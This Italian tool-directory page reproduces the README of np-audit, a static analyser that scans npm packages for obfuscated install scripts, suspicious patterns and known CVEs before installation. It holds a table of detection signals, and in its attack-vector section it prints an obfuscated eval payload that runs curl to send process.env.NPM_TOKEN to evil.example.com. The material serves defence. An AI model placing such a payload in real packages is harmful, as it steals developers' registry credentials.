Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
np-audit — Analisi statica della sicurezza per pacchetti npm. Rileva codice offuscato, pattern dannosi e vulnerabilità note prima dell'installazione. | Kitploit
Strumenti/GitHubGitHub/koblers/np-audit
Analisi StaticaScanner di VulnerabilitàAnalisi del CodiceAnalisi MalwareRilevamento SegretiSicurezza della Supply Chain
GitHubkoblers/np-audit

np-audit

Analisi statica della sicurezza per pacchetti npm. Rileva codice offuscato, pattern dannosi e vulnerabilità note prima dell'installazione.

Vedi Repository
752 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — analizzatore di pacchetti npm

Analisi di sicurezza statica per pacchetti npm — rileva script di lifecycle offuscati, vulnerabilità note e pattern dannosi prima che vengano eseguiti. Sostituto diretto di npm install e .

npm ci

Zero dipendenze. Solo componenti integrati di Node.js. < 100 kB una volta scaricato.

root@kitploit:~
npx np-audit scan express
root@kitploit:~
npm install -g np-audit
npa scan                     # scan all deps
npa install                  # audit then install
alias npm='npa'              # use as drop-in replacement

Marshallers

Il rilevamento è suddiviso in marshaller modulari — ognuno rileva un singolo segnale di attacco:

MarshallerCosa rilevaPunteggio
eval/dynamic-execeval(), new Function(), eval indiretto, vm.*, setTimeout con stringa8
obfuscator.ioPattern di denominazione delle variabili _0x (output di obfuscator.io)9–80
high-entropy-stringStringhe lunghe o catene di concatenazione con alta entropia di Shannon6
hex-escape-densitySequenze di escape dense \xNN e \uXXXX5–50
fromCharCodeString.fromCharCode con molti argomenti, grandi array decimali di codici carattere7
encoded-decodeDecodifica Base64/hex (atob, Buffer.from) opzionalmente combinata con eval3–8
child-processrequire('child_process'), exec, spawn, fork, worker_threads5
hex-arrayGrandi quantità di valori letterali hex 0x7–60
process-envAccesso a process.env (segnale di esfiltrazione di credenziali)3
network-callrequire('https'), fetch(), dns, net, tls4
filesystem-manipulationfs.writeFile, chmod, symlink (persistenza di backdoor)3–4
runtime-downloadScarica ed esegue runtime esterni (Bun, Deno)9–50

I punteggi scalano in base alla gravità — un numero maggiore di indicatori di offuscamento produce punteggi più alti. Il verdetto finale si basa sul punteggio individuale più alto tra tutti i marshaller.

Vedi CONTRIBUTING.md per informazioni su come scrivere marshaller personalizzati.


Scansione delle vulnerabilità (CVE)

Ogni pacchetto scansionato viene verificato rispetto ai database di vulnerabilità note insieme all'analisi del codice.

Predefinito: OSV.dev (nessuna configurazione richiesta)

Funziona immediatamente — interroga la API gratuita OSV.dev per vulnerabilità note e advisory di pacchetti dannosi.

Opzionale: API Snyk (dati più ricchi)

root@kitploit:~
# Environment variable
export SNYK_API_TOKEN=your-token-here

# Or via Snyk CLI
snyk auth

Ordine di risoluzione del token: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

GravitàPunteggioVerdetto
Pacchetto dannoso80DANGER
10+ vulnerabilità6WARN
5–9 vulnerabilità5WARN
1–4 vulnerabilità4WARN

Le CVE non dannose producono avvisi ma non bloccano mai l'installazione. Solo i pacchetti confermati come dannosi attivano DANGER.


Utilizzo

Comandi

ComandoAliasDescrizione
npa install [package]npa iEsegui l'audit e poi npm install
npa ci—Esegui l'audit e poi npm ci
npa scan [package]npa sSolo scansione, nessuna installazione
npa config getnpa c getMostra la configurazione corrente
npa config set <key> <value>npa c setAggiorna un valore di configurazione
npa alias --install—Installa alias di shell
npa alias --uninstall—Rimuovi alias di shell

Qualsiasi comando non riconosciuto viene inoltrato a npm (ad es. npa run test, npa publish).

Flag

FlagAliasCompatibile conDescrizione
--review-rinstall, ciModalità interattiva — scegli quali script consentire
--json—install, ci, scanOutput JSON leggibile dalla macchina
--no-dev—install, ci, scanIgnora le devDependencies
--verbose—allMostra lo stato di avanzamento del download e dettagli aggiuntivi
--version-v—Mostra la versione ed esce
--help-h—Mostra l'aiuto ed esce

Modalità interattiva --review

root@kitploit:~
npa install --review
root@kitploit:~
  npa --review mode
  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit

  Found 3 package(s) with install scripts:

     [✓ allow] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ deny ] [email protected]       postinstall: install.js          DANGER (score: 9)
     [✓ allow] @scope/[email protected]     postinstall: install.js          WARN (score: 5)

  2 allowed  1 denied

Configurazione

La configurazione è memorizzata in ~/.npmauditor.json (globale) e può essere sovrascritta per progetto con .npmauditor.json.

root@kitploit:~
npa config get                              # Show current config
npa config set blockScore 6                 # Block at score 6+
npa config set skipPackages '["esbuild"]'   # Trust specific packages
npa config set skipScopes '["@types"]'      # Trust entire scopes

Tutte le chiavi di configurazione

ChiavePredefinitoDescrizione
blockScore7Soglia di punteggio per DANGER (uscita 1)
warnScore4Soglia di punteggio per WARN (uscita 0)
registryhttps://registry.npmjs.orgURL del registry npm
timeout30000Timeout delle richieste HTTP (ms)
parallelFetches5Download concorrenti
skipScopes[]Prefissi @scope da ignorare
skipPackages[]Nomi di pacchetti da ignorare
silentfalseSopprime l'output quando non vengono trovati problemi
scanSelftrueScansiona gli script di lifecycle del proprio progetto
maxTarballSize50MBDimensione massima del tarball estratto (protezione da bombe)
checkVulnerabilitiestrueVerifica i pacchetti rispetto ai database CVE
deepResolvefalseRisolve l'intero albero delle dipendenze transitive
disabledMarshallers[]Nomi dei marshaller da ignorare durante la scansione

Disabilitare i marshaller

Puoi disabilitare specifici controlli di rilevamento aggiungendo i loro nomi a disabledMarshallers:

root@kitploit:~
npa config set disabledMarshallers '["process-env", "network-call"]'

Per vedere tutti i nomi dei marshaller disponibili e il loro stato attuale:

root@kitploit:~
npa config marshallers

Questo è utile quando un marshaller produce falsi positivi per il tuo flusso di lavoro. I marshaller disabilitati vengono ignorati completamente sia durante l'analisi statica del codice sia nei controlli a livello di pacchetto.


Alias di shell

Usa npa come sostituto trasparente di npm:

root@kitploit:~
npa alias --install     # adds: alias npm='npa'
source ~/.zshrc         # reload shell

Ora npm install e npm ci eseguono la scansione automaticamente. Tutti gli altri comandi npm (npm run, npm test, npm publish) vengono inoltrati invariati.

root@kitploit:~
npa alias --uninstall   # remove the alias

Come funziona

  1. Analizza package-lock.json (v1/v2/v3) oppure risolvi da package.json
  2. Scarica i tarball dal registry (o leggili da node_modules)
  3. Interpreta i comandi di lifecycle — suddivide &&/||/;/|, gestisce node -e, sh -c, script di shell
  4. Esplora il grafo require()/import da ogni punto di ingresso (rilevamento dei cicli, limite di 50 file / 5 MB)
  5. Analizza con tutti i marshaller — controlli statici del codice + query ai database CVE
  6. Assegna il punteggio e classifica: DANGER / WARN / OK
  7. Genera il report oppure procedi con l'installazione

Il vettore di attacco

Gli attacchi alla supply chain abusano degli script di lifecycle di npm. Quando esegui npm install, qualsiasi script preinstall/install/postinstall viene eseguito automaticamente. Gli attaccanti nascondono i payload dietro l'offuscamento:

root@kitploit:~
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

Incidenti reali:

  • event-stream (2018) — furto di credenziali di wallet Bitcoin
  • ua-parser-js (2021) — miner di criptovalute + ladro di informazioni
  • node-ipc (2022) — malware wiper geolocalizzato
  • colors / faker (2022) — sabotaggio del maintainer
  • SAP CAP / cds-dbs (2025) — pacchetto compromesso che prende di mira gli sviluppatori enterprise

npa non esegue mai script. Li scarica e li analizza staticamente.


Codici di uscita

CodiceSignificato
0Tutto pulito o solo avvisi
1Uno o più pacchetti bloccati

Licenza

MIT

Scarica lo strumento
vscode-autorun
Task di VS Code con runOn: folderOpen (auto-esecuzione)
30
known-vulnerabilityCVE note tramite API Snyk o OSV.dev4–6 (WARN), 80 (dannoso)